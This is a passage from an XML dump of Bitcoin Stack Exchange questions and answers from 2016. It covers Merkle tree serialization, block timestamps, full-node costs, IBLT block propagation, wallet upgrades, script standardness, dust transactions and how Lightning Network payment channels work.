&amp;amp; send its transactions) and eventually be up to date.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-04-10T15:51:42.833" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="43671" PostTypeId="2" ParentId="43619" CreationDate="2016-04-10T16:02:45.123" Score="2" Body="&lt;p&gt;You can serialize a binary tree with &lt;code&gt;n&lt;/code&gt; leafs (such as a merkle tree) as an array of &lt;code&gt;2n-1&lt;/code&gt; entries. The root is entry 1 and for each node the left child is at position &lt;code&gt;2n&lt;/code&gt; and the right child is at position &lt;code&gt;2n+1&lt;/code&gt;. This gives you a compact representation of the entire tree.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option would be to just have the &lt;code&gt;n&lt;/code&gt; leaf nodes in a list since the inner nodes are actually generated from the leafs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both need to be checked by a program, since checking the validity of a tree involves computing cryptographic hashes. Visualizing them in a human readable format does not really provide any security if it cannot be verified.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-04-10T16:02:45.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43672" PostTypeId="2" ParentId="43605" CreationDate="2016-04-10T16:43:24.023" Score="1" Body="&lt;p&gt;The timestamps on those blocks are indeed quite varied so I think that blockr.io is not using the timestamp field in the block as sole timing information, instead using something like &lt;code&gt;min(relayed time, block timestamp)&lt;/code&gt; so that blocks that have a future timestamp are shown as &quot;right now&quot; because they use the relayed time. They probably are not only using the relayed time since in that case they'd be misdating all blocks after downtime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TL;DR: do not trust the timestamp field in the block, it can be manipulated.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-04-10T16:43:24.023" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43674" PostTypeId="1" CreationDate="2016-03-12T15:06:47.123" Score="3" ViewCount="707" Body="&lt;p&gt;I've been experimenting with the litecoin source and have decided to make my own token network for personal use. I've mined my own genesis block, and assigned unique identifiers for base58Prefix and pchMessageStart. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;getblockchainInfo&lt;/code&gt; returns:   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{ &#xA;   &quot;chain&quot; : &quot;main&quot;,&#xA;    &quot;blocks&quot; : 0,&#xA;    &quot;headers&quot; : 0,&#xA;    &quot;bestblockhash&quot; : &quot;00000ee1064237cca4001f4707031d29c0253c09005c67f0ff9fdeb268591c26&quot;,&#xA;    &quot;difficulty&quot; : 0.00024414,&#xA;    &quot;verificationprogress&quot; : 0.00255052,&#xA;    &quot;chainwork&quot; : &quot;0000000000000000000000000000000000000000000000000000000000100010&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;verificationprogress has been steadily decreasing, but according to &lt;a href=&quot;https://bitcoin.org/en/developer-reference#getblockchaininfo&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.org/en/developer-reference#getblockchaininfo&lt;/a&gt; verification progress is supposed to start at 0 and increase to 1, is it validating correctly? If so will I receive the premine reward once the genesis block is fully verified?   &lt;/p&gt;&#xA;" OwnerUserId="33402" OwnerDisplayName="Sarodh Uggalla" LastEditorUserId="120" LastEditDate="2016-04-11T13:59:47.620" LastActivityDate="2016-04-11T13:59:47.620" Title="Verification progress decreasing when validating genesis block" Tags="|bitcoind|blockchain|" AnswerCount="0" CommentCount="0" ClosedDate="2022-06-17T15:23:12.427" ContentLicense="CC BY-SA 3.0" />
  <row Id="43675" PostTypeId="1" CreationDate="2016-02-16T18:38:58.283" Score="5" ViewCount="364" Body="&lt;p&gt;Does it cost more storage?&#xA;For the transaction verification, to which extent bigger blocks make it more computational intensive?&#xA;In terms of computational complexity, is the verification process a O(n) computation or anything else?&lt;/p&gt;&#xA;" OwnerUserId="33528" OwnerDisplayName="czheo" LastEditorUserId="5406" LastEditDate="2016-04-10T21:39:12.970" LastActivityDate="2016-04-10T21:39:12.970" Title="Why do bigger blocks make it more expensive to run a full node?" Tags="|nodes|transaction-verification|block-size-increase|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43676" PostTypeId="2" ParentId="43675" CreationDate="2016-02-21T02:55:10.630" Score="2" Body="&lt;p&gt;Short answer: For big players the cost is mostly negligible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Longer answer (independent of the current block size debate):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hard Drive Cost:&#xA;A bigger block will take up more disk space. Right now the block size is limited to 1 MB. If the block size is increased to 2 MB and assuming all blocks are always being filled to the max size then you will need about twice the hard drive space to store the same amount of 2 MB blocks as you needed for 1MB blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Network Bandwidth Cost:&#xA;If block size is increased, a full node has to relay a bigger size block. Sending and receiving more data will have an impact on cost as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Real Time Computational Cost:&#xA;A full node has to hash a block and verify that the hash has n amount of leading zeros. Increasing the block size will result in hashing a larger amount of data which increases verification time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Big O Complexity:&#xA;Big O would depend on whatever the Big O is for sha256.&lt;/p&gt;&#xA;" OwnerUserId="33898" OwnerDisplayName="boris" LastActivityDate="2016-02-21T02:55:10.630" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43677" PostTypeId="1" CreationDate="2016-03-12T06:23:08.407" Score="2" ViewCount="98" Body="&lt;p&gt;I have read articles about how Invertible Bloom Filters (IBLT) work and I have some basic knowledge how Bitcoin works for block propagation using IBLT. But since IBLT would introduce false positive, participants in the network would have a chance in unsuccessful in receiving all differences between two IBLTs. So I am wondering how Bitcoin solve this problem to recover all blocks?&lt;/p&gt;&#xA;" OwnerDisplayName="user2723335" LastEditorUserId="5406" LastEditDate="2016-04-10T21:40:29.447" LastActivityDate="2016-05-11T12:16:15.463" Title="How does the Bitcoin block propagation process recover when false positive happens?" Tags="|relay|bip37-bloom-filter|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43678" PostTypeId="1" CreationDate="2016-03-14T10:16:15.733" Score="2" ViewCount="78" Body="&lt;p&gt;I downloaded a copy of the &lt;code&gt;bootstrap.dat&lt;/code&gt; for a node I'm trying to set up on a Raspberry Pi (Raspbian OS, based on Debian). I placed it in &lt;code&gt;./bitcoin&lt;/code&gt;, which is the right place according to what I read. &#xA;Still, when I open `Bitcoin-Qt it acts likes there's nothing there and starts synchronizing the chain from scratch. &#xA;Am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="41767" OwnerDisplayName="ntonnelier" LastEditorUserId="5406" LastEditDate="2016-04-10T21:42:03.567" LastActivityDate="2016-04-10T21:42:03.567" Title="Bitcoin-Qt does not unpack the bootstrap.dat" Tags="|bitcoind|bootstrap.dat|raspberry-pi|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43680" PostTypeId="1" CreationDate="2016-04-06T09:03:11.973" Score="1" ViewCount="174" Body="&lt;p&gt;I am trying to understand Bitcoin addresses, but it does not seem to be easy at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I know, a transaction uses one or more addresses as input and one or more addresses as output. Is this correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I understand it a Bitcoin address is a hash of your public key. So it is not completely collision resistant. So how do you prove, that you are the owner of a Bitcoin address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, since everybody can make an address from your public key and the recipient of a transaction does not have to sign the transaction, how do you make sure no one can send you bitcoins without your consent? (I don't really know if this is a problem to be honest.)&lt;/p&gt;&#xA;" OwnerDisplayName="Junge" LastEditorUserId="5406" LastEditDate="2016-04-10T21:44:04.293" LastActivityDate="2016-04-11T01:59:30.183" Title="Bitcoin adress security questions" Tags="|blockchain|security|address|public-key|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43681" PostTypeId="2" ParentId="43680" CreationDate="2016-04-06T09:35:23.107" Score="-1" Body="&lt;p&gt;Bitcoin address are unique to each person..u missed any btc while transfering? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;what is the point in making a option like u said to restrict anonymous funding? (i have no problem in receiving bitcoins :) ) Everybody free to receive the amount as in bank account..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*Can you make sure no one can send amount to your bank account without your consent? NO, but bank account is safe na???&lt;/p&gt;&#xA;" OwnerDisplayName="Yuvifan" LastActivityDate="2016-04-06T09:35:23.107" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43682" PostTypeId="1" CreationDate="2016-04-10T20:31:20.000" Score="3" ViewCount="330" Body="&lt;p&gt;As I understand it, only transactions with pubkey scripts conforming to a certain pattern are considered &quot;standard&quot; and are relayed, however a script is also considered standard regardless of its redeem script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the limitation on standard transactions is to prevent abuse, wouldn't using it as a redeem script be equally bad?&lt;/p&gt;&#xA;" OwnerUserId="34681" LastActivityDate="2016-04-11T14:06:51.093" Title="Why are all redeem scripts standard, but only a few pubkey scripts?" Tags="|transactions|relay|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43683" PostTypeId="2" ParentId="43680" CreationDate="2016-04-10T21:58:34.500" Score="1" Body="&lt;p&gt;Transactions use at &lt;a href=&quot;https://bitcoin.stackexchange.com/a/12452/5406&quot;&gt;least one input and one output&lt;/a&gt;. The exception being the &lt;a href=&quot;https://bitcoin.stackexchange.com/q/4571/5406&quot;&gt;Coinbase&lt;/a&gt; transaction which creates new money and doesn't have an input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While multiple public keys hash to the same address, &lt;a href=&quot;https://bitcoin.stackexchange.com/a/12740/5406&quot;&gt;there are still 2^160 distinct addresses&lt;/a&gt; possible. Therefore the chance that two people generate a private key that resolves to the same address is negligible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/13610/5406&quot;&gt;You cannot stop anyone from sending you bitcoins.&lt;/a&gt; Receiving bitcoins is entirely passive. The only way to refuse a transaction is by returning it to the sender.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2016-04-11T01:59:30.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43684" PostTypeId="1" CreationDate="2016-04-10T23:11:28.333" Score="0" ViewCount="194" Body="&lt;p&gt;I'm having trouble with Bitcoin QT 0.11 not automatically extracting address info from my Bitcoin QT 0.7. When I try to open my Bitcoin QT wallet it comes up with an error code saying it is to unsafe to continue. How can I get hold of my info from my Bitcoin QT wallet.&lt;/p&gt;&#xA;" OwnerUserId="29370" LastEditorUserId="2306" LastEditDate="2016-04-11T04:14:48.830" LastActivityDate="2016-04-24T01:29:33.950" Title="How do i get info from Bitcoin QT 0.7 to Bitcoin QT 0.11?" Tags="|bitcoin-core|bitcoin-qt-setup|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="43686" PostTypeId="2" ParentId="43677" CreationDate="2016-04-11T08:37:59.760" Score="1" Body="&lt;p&gt;The purpose of IBLT-based block transfer mechanism is reducing bandwidth (how much data is sent in total) and latency (how long it takes to transfer the block), and depending on which has the priority there are different solutions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If latency is of no concern at all, you would simply send a block header together with a list of (truncated) txids, and the peer would reply with &quot;i'm missing transactions 3, 7, 112, and 234&quot;, followed by just sending those transactions. Such a solution would require several round trips: first sending the txids, the peer requesting the ones he is missing, and us sending the transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If latency is a concern however, that's still just 3 steps, but each of those steps may be in the order of half a second or more, depending on how far away you are. If your network connection is over 10 Mbit/s, you could just transmit the entire block in the extra time wasted by the roundtrips.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this is where IBLT and other efficient block propagation protocols come in: they try to construct a single packet that gives enough information for the peer to reconstruct the block, but without sending the full block. Occasionally that attempt will fail, false positives will occur, and the reconstruction will fail (as the block hash doesn't match what was claimed). In that case we just fall back to the naive version: go request the transactions you're missing, and incur the associated extra latency.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2016-04-11T09:46:44.613" LastActivityDate="2016-04-11T09:46:44.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43687" PostTypeId="1" CreationDate="2016-04-11T09:39:58.123" Score="29" ViewCount="6338" Body="&lt;p&gt;I understand now &lt;a href=&quot;https://bitcoin.stackexchange.com/q/43184/5406&quot;&gt;how multihop payments can work in LN&lt;/a&gt;, but &lt;strong&gt;how do we discover payment paths in Lightning Network in the first place?&lt;/strong&gt;  Obviously you'd need to take into account the available capacity of the route, and you'd want to discover the cheapest path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There shouldn't be a payment channel directory, so would it rely on a peer-based search?&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2019-08-30T21:52:05.063" Title="How are paths found in Lightning Network?" Tags="|lightning-network|lightning-routing|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="43688" PostTypeId="2" ParentId="2496" CreationDate="2016-04-11T10:26:09.800" Score="0" Body="&lt;p&gt;Each bitcoin can be divided down to subatomic units of 0.00000001. Each transaction creates a division that can be traced and likened to a serial number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both the public addresses that the bitcoins are outputted to and the transaction ids could serve as serial numbers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is not inherently fungible because the blockchain is easily traceable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, there was a flaw in the way change outputs were randomised that was only fixed in January 2013.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This invalidates the notion that any tracking rules would be arbitrary. Easily identifying early adopters of Bitcoin destroys any inherent fungibility it might have had.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can read more about it by searching for shadow addresses here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://miki.it/pdf/BitIodine_presentation.pdf&quot; rel=&quot;nofollow&quot;&gt;https://miki.it/pdf/BitIodine_presentation.pdf&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11624" LastActivityDate="2016-04-11T10:26:09.800" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43689" PostTypeId="2" ParentId="43684" CreationDate="2016-04-11T13:54:56.283" Score="0" Body="&lt;p&gt;There are two ways of upgrading from such an old version: either perform the intermediate upgrade steps (0.7 -&gt; 0.8 -&gt; 0.9 -&gt; 0.10 -&gt; 0.11) or export you wallet, clear the bitcoin directory and import the wallet again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first option should be pretty straight forward. The second option requires you to use the GUI to export the wallet or the individual private keys, upgrading Bitcoin QT and then importing them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&quot; rel=&quot;nofollow&quot;&gt;JSON-RPC&lt;/a&gt; calls &lt;code&gt;dumpprivkey&lt;/code&gt; and &lt;code&gt;importprivkey&lt;/code&gt; can be performed for each address and will get your addresses into the new version. Be careful to keep a backup copy of the wallet.dat file before clearing the bitcoin directory. &lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-04-11T13:54:56.283" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43690" PostTypeId="2" ParentId="43682" CreationDate="2016-04-11T14:06:51.093" Score="2" Body="&lt;p&gt;Due to the nature of of how redeem scripts are used, there is never any reason for a redeem script to contain anything more than simple constant values.  When an output is redeemed, the redeem script is pre-pended to the encumbrance script, and run as a single script.  Consider a transaction output that is encumbered by a script that says (in pseudo code):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;+ 3 == 5&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This output could be redeemed by by any script that leaves a &lt;code&gt;2&lt;/code&gt; on the stack after executing.  That means it could be redeemed by scripts like &lt;code&gt;3 - 1&lt;/code&gt; or &lt;code&gt;8 / 4&lt;/code&gt;.  However, there is no reason for the additional calculation.  Since  a redeem script only need to leave &lt;code&gt;2&lt;/code&gt; on the stack, we can simply use a script that just puts &lt;code&gt;2&lt;/code&gt; on the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that any redeem script that performs calculations rather than just placing constants on the stack serves no purpose, and was probably broadcast as an attempt at a denial of service.  These scripts can be disallowed without having any negative effect on the utility of the Bitcoin network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By contrast, limiting the variability of encumbrance scripts limits what the Bitcoin network can be used for.  This is a topic that has been hotly debated, but in general, the community does not wish to limit Bitcoin's usefulness for future applications.&lt;/p&gt;&#xA;" OwnerUserId="24974" LastActivityDate="2016-04-11T14:06:51.093" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="43691" PostTypeId="2" ParentId="42887" CreationDate="2016-04-11T16:36:49.763" Score="7" Body="&lt;p&gt;Lightning payment channels are established by two parties Alice and Bob paying into a 2-of-2 multisignature address. Concurrently, they create two &quot;exit-transactions&quot;, one for each participant which pay out the current allotment of the payment channel, &lt;code&gt;txAliceExit_1&lt;/code&gt; and &lt;code&gt;txBobExit_1&lt;/code&gt;. These exit transactions lock the fund of the executing party for some blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a payment is performed between Alice and Bob, they update the balance, create two new &quot;exit-transactions&quot;, &lt;code&gt;txAliceExit_2&lt;/code&gt; and &lt;code&gt;txBobExit_2&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To invalidate the previous &quot;exit-transactions&quot; each party gives the counterparty another transaction that builds on the previous exit transaction by spending the party's output to the counterparty if the old &quot;exit-transaction&quot; were broadcast to the network, &lt;code&gt;txAliceExit_1-TakeAll&lt;/code&gt; and &lt;code&gt;txBobExit_1-TakeAll&lt;/code&gt;. I.e. if Bob executes &lt;code&gt;txBobExit_1&lt;/code&gt; the funds are time-locked for a little bit, meanwhile &lt;code&gt;txAliceExit_1-TakeAll&lt;/code&gt; would become valid and Alice could take them before he can spend them.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2016-04-11T16:36:49.763" CommentCount="15" ContentLicense="CC BY-SA 3.0" />
  <row Id="43692" PostTypeId="2" ParentId="43687" CreationDate="2016-04-11T19:57:37.220" Score="3" Body="&lt;p&gt;The &lt;a href=&quot;https://lightning.network/lightning-network-paper.pdf&quot; rel=&quot;nofollow&quot;&gt;Whitepaper&lt;/a&gt; doesn't make mention of any means to find a path without discovering the network manually. Not saying it shouldn't exist, just simply that currently in LN no data structure or filter is in place to make this scalable.&lt;/p&gt;&#xA;" OwnerUserId="1691" LastActivityDate="2016-04-11T19:57:37.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43693" PostTypeId="1" AcceptedAnswerId="43697" CreationDate="2016-04-11T22:51:43.910" Score="7" ViewCount="983" Body="&lt;p&gt;Any data push greater than 520 bytes in a Bitcoin transaction is not allowed (&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/v0.10.0rc3/src/script/script.h#L18&quot;&gt;https://github.com/bitcoin/bitcoin/blob/v0.10.0rc3/src/script/script.h#L18&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The opcode OP_PUSHDATA4 specifies, that the next four bytes contain the number of following bytes to be pushed onto the stack. The smallest number using four bytes is 0x10000000=268435456. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But due to the 520 bytes limit and since 520=0x208, we only need at most two bytes to represent the number 520. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for example, if I want to push any 520 bytes of data I can do: OP_PUSHDATA2 0208 [520-bytes-of-data]. Right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that case, what is the PUSHDATA4 used for?&lt;/p&gt;&#xA;" OwnerUserId="29432" LastActivityDate="2019-01-24T12:05:36.037" Title="PUSHDATA4 unnecessary?" Tags="|script|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43695" PostTypeId="1" CreationDate="2016-04-12T12:31:14.960" Score="1" ViewCount="185" Body="&lt;p&gt;I'm using &lt;code&gt;kryptokit&lt;/code&gt; to send my funds. I sent &lt;a href=&quot;https://blockchain.info/tx/0a61ed3958e485be729ae87557291b5e992a83943f82c9884d0814e4d148e333&quot; rel=&quot;nofollow&quot;&gt;a transaction&lt;/a&gt; at about 10pm last night and here it is 10+ hrs later still unconfirmed. Is there a way to cancel it that's easy?&lt;/p&gt;&#xA;" OwnerUserId="34726" LastEditorUserId="5406" LastEditDate="2016-04-12T12:46:23.790" LastActivityDate="2016-04-13T12:27:46.067" Title="Why isn't my transaction going through?" Tags="|unconfirmed-transactions|dust|non-standard-transaction|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43696" PostTypeId="2" ParentId="43695" CreationDate="2016-04-12T12:44:33.523" Score="1" Body="&lt;p&gt;Your transaction is non-standard because one output is only &lt;code&gt;379 satoshi&lt;/code&gt;, and therefore below the &lt;a href=&quot;https://bitcoin.stackexchange.com/a/41082/5406&quot;&gt;dust threshold&lt;/a&gt; of &lt;code&gt;546 satoshi&lt;/code&gt;. Most nodes don't relay non-standard transactions, and most mining pools do not include them in blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might want to consider recreating the transaction and folding this sixth of a dollar cent into the transaction fee instead. In the essence, you'd create a doublespend spending the same inputs but redeclaring the outputs. Unfortunately, I'm not sure how you would be doing that with &lt;code&gt;kryptokit&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest would probably be to import the originating address to another wallet and send a new transaction with that.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2016-04-13T12:27:46.067" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="43697" PostTypeId="2" ParentId="43693" CreationDate="2016-04-12T13:33:14.993" Score="9" Body="&lt;p&gt;There is currently no real need for an &lt;code&gt;OP_PUSHDATA4&lt;/code&gt;, which would allow pushing up to 4GB onto the stack. It was in the original script definition and simply was not disabled when the 520 byte limit was introduced. The only possibility for it to appear in today's scripts is as a &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0062.mediawiki#Push_operators&quot; rel=&quot;noreferrer&quot;&gt;non-minimal push&lt;/a&gt; and may be caused by a custom client or transaction malleability.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-04-12T13:33:14.993" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43698" PostTypeId="1" AcceptedAnswerId="43699" CreationDate="2016-04-12T15:00:26.050" Score="0" ViewCount="610" Body="&lt;p&gt;I am thinking if secure encryption like one time pad (OTP) is achievable using bitcoin blockchain? The reason is bitcoin blockchain size is over 70 GB, which could potentially encrypt/decrypt 70 GB worth of data. All that is needed by the sender and receiver is blockchain and an application that encrypts and decrypts the data on the sender and receiver end respectively. Please share your thoughts if it is a bad or wild idea and why? How about using other public blockchains like Ethereum or private ones like Eris or Hyperledger. What would make it work?&lt;/p&gt;&#xA;" OwnerUserId="32636" LastActivityDate="2016-04-12T15:12:52.677" Title="one time pad using blockchain" Tags="|blockchain|client|encryption|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43699" PostTypeId="2" ParentId="43698" CreationDate="2016-04-12T15:12:52.677" Score="5" Body="&lt;p&gt;The requirement for a one time pad to be secure is that it consists of &lt;strong&gt;uniformly&lt;/strong&gt; &lt;strong&gt;random&lt;/strong&gt; data, &lt;strong&gt;only known&lt;/strong&gt; to the participants that should be able to encrypt/decrypt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blockchain is &lt;strong&gt;not random&lt;/strong&gt; (it's created by miners and users creating transactions), certainly &lt;strong&gt;not uniformly&lt;/strong&gt; random (blocks and transactions have a very strict syntactic structure), and worst of all it is designed to be &lt;strong&gt;known to the entire world&lt;/strong&gt; (or in the case of private blockchains, to all those who should be able to audit).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Short answer: bad idea.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2016-04-12T15:12:52.677" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="43700" PostTypeId="1" AcceptedAnswerId="43701" CreationDate="2016-04-12T15:35:16.850" Score="63" ViewCount="20180" Body="&lt;ul&gt;&#xA;&lt;li&gt;Could you please describe how the Lightning network is supposed to work? &lt;/li&gt;&#xA;&lt;li&gt;How does it scale better than pure blockchain transactions?  &lt;/li&gt;&#xA;&lt;li&gt;What are the advantages and disadvantages of Lightning Network and blockchain transactions?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2023-10-02T18:09:19.993" LastActivityDate="2023-10-03T12:03:15.927" Title="How does the Lightning network work in simple terms?" Tags="|lightning-network|scalability|ln-opening-channels|ln-closing-channels|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43701" PostTypeId="2" ParentId="43700" CreationDate="2016-04-12T15:40:31.410" Score="75" Body="&lt;p&gt;The Lightning Network is a collection of payment channels between pairs of nodes. To create a payment channel, two users commit funds to a UTXO under shared control. The shared funds allow the users to pay each other by changing how much they will pay out to each eventually.  The state of the payment channel is stored in presigned Bitcoin transactions that spends the shared funds back to the individual users. As long as neither broadcasts the final state of the channel to the Bitcoin network, you can think of the funds in the channel like beads on an abacus—they can only go from one side to the other, but cannot leave the channel. By having multiple channels, users can forward payments from one peer to another, allowing payments between peers that don’t have direct connections. The Lightning Network allows for instant payments with a significantly compressed blockchain footprint.&lt;/p&gt;&#xA;&lt;p&gt;Let’s say that you and I want to open a payment channel.&lt;/p&gt;&#xA;&lt;h1&gt;1. Putting funds into Lightning&lt;/h1&gt;&#xA;&lt;p&gt;We negotiate to each send 0.05 BTC into a shared 2-of-2 multisig output, the &lt;em&gt;channel funding output&lt;/em&gt;.¹ This will require a transaction on the Bitcoin blockchain.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/etBb8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/etBb8.png&quot; alt=&quot;We are planning to use a 0.05 ₿ input each to open a channel&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;As a “balance sheet” and escape hatch, we negotiate a 2-of-2 multisig transaction that pays out 0.05 BTC to you and 0.05 BTC to me. We call this the &lt;em&gt;commitment transaction&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/I74u5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/I74u5.png&quot; alt=&quot;We add a commitment transaction to make sure that either of us can withdraw their funds&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The commitment transaction comes actually in two variants. I sign your commitment transaction and give it to you. If you want to put it in effect, you need only add your own signature and broadcast it to the Bitcoin network. Vice versa, you sign and give me my copy of the commitment transaction. The commitment transactions are future transactions for the Bitcoin network, they're just not valid yet because we have not actually created the channel funding output yet, and because they are each missing one signature. The commitment transaction comes in two variants because the copy you and I hold are asymmetric: your commitment transaction puts a timelock on your Settlement Output, and mine locks my Settlement Output. We’ll see below why we need that.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Y768T.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y768T.png&quot; alt=&quot;Your output is timelocked in your commitment transaction, mine in mine&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The commitment transaction guarantees that either of us can close the channel and return the funds to our respective controls by themselves. Now that we are confident to be able to to get back our funds, we can sign and broadcast the funding transaction:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/IRM5M.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IRM5M.png&quot; alt=&quot;After exchanging the commitment transactions we are confident to broadcast the funding transaction&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;We are later going to use the following shorthand to represent a channel and its current balances: &lt;a href=&quot;https://i.stack.imgur.com/D2ldw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/D2ldw.png&quot; alt=&quot;A line with “You” and “Me” on either side and the respective balance on top of the line on each side&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h1&gt;2. Payment&lt;/h1&gt;&#xA;&lt;p&gt;Now, I want to pay you 0.01 BTC. We each create a new commitment transaction (&amp;quot;balance sheet&amp;quot;) as before, but this one says that you get 0.06 BTC and I get 0.04 BTC. Each of us gets a new commitment transaction signed by the other to that effect as before.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/z1MCT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img 